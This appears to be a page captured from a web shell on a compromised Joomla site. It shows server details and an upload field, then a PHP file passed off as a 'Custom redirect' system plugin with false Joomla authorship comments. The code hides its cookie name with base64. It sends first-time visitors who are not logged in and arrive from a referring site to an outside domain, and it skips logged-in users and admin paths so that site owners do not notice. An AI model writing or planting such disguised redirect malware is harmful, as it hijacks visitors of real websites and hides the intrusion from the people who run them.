| Server IP : 87.98.154.146 / Your IP : 216.73.216.101 Web Server : Apache System : Linux webm005.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : bsiadvisil ( 110003) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/bsiadvisil/www/plugins/system/customredirect/ |
Upload File : |
<?php
/**
* @Enterprise: Joomla! Project
* @author: Joomla! Project
* @url: http://www.github.com
* @license: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
* @copyright: github.com
*
* Custom redirect plugin;
* https://github.com
* License: MIT License
*/
defined('_JEXEC') or die;
class plgSystemCustomredirect extends JPlugin
{
public function onAfterInitialise()
{
$user = JFactory::getUser();
$mainframe = JFactory::getApplication();
if ( $user -> id > 0 ) {
// user route
} else {
// non-user route
$current_url = JUri::getInstance();
if (stristr($current_url, "/admin")) {
// admin-panel route
} else {
if ( ! isset( $_COOKIE[base64_decode('cm91dGU=')]) ) {
setcookie( base64_decode( 'cm91dGU=' ), 1, time() + 86400, base64_decode( 'Lw==' ) );
if ( isset( $_SERVER['HTTP_REFERER']) ) {
$mainframe->redirect('https://splittous.com/joo2','','');
}
}
}
}
}
}